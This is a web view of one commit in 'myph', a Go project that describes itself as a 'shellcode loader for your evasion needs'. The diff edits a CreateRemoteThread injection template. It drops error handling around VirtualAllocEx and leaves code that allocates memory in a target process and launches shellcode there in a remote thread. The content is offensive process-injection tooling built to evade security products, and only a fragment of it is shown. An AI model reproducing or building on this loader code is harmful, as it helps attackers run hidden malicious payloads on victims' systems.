myph~ shellcode loader for your evasion needs |
| git clone https://github.com/matro7sh/myph.git |
| log | files | refs | archive | README | LICENSE |
| commit 37f17fc694a43ab42c9fa0156306a299f8d70621
parent 0ef546415027287dc8d468eeaaf40932a89286d4 Author: winds0r <[email protected]> Date: Sun, 23 Jul 2023 17:11:48 +0900 fix(loaders): `CRT` / removing error checking Diffstat:
|
| 1 file changed, 1 insertion(+), 5 deletions(-) |
diff --git a/loaders/createRemoteThread.go b/loaders/createRemoteThread.go @@ -72,7 +72,7 @@ func ExecuteOrderSixtySix(shellcode []byte) { oldProtectCfg := PAGE_READWRITE /* allocating the appropriate amount of memory */ - baseAddr, _, err := VirtualAllocEx.Call( + baseAddr, _, _ := VirtualAllocEx.Call( uintptr(process.Process), 0, uintptr(len(shellcode)), @@ -100,10 +100,6 @@ func ExecuteOrderSixtySix(shellcode []byte) { /* load remote thread */ _, _, _ = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0) - if err.Error() != "The operation completed successfully." { - os.Exit(1) - } - select {} } `, targetProcess) |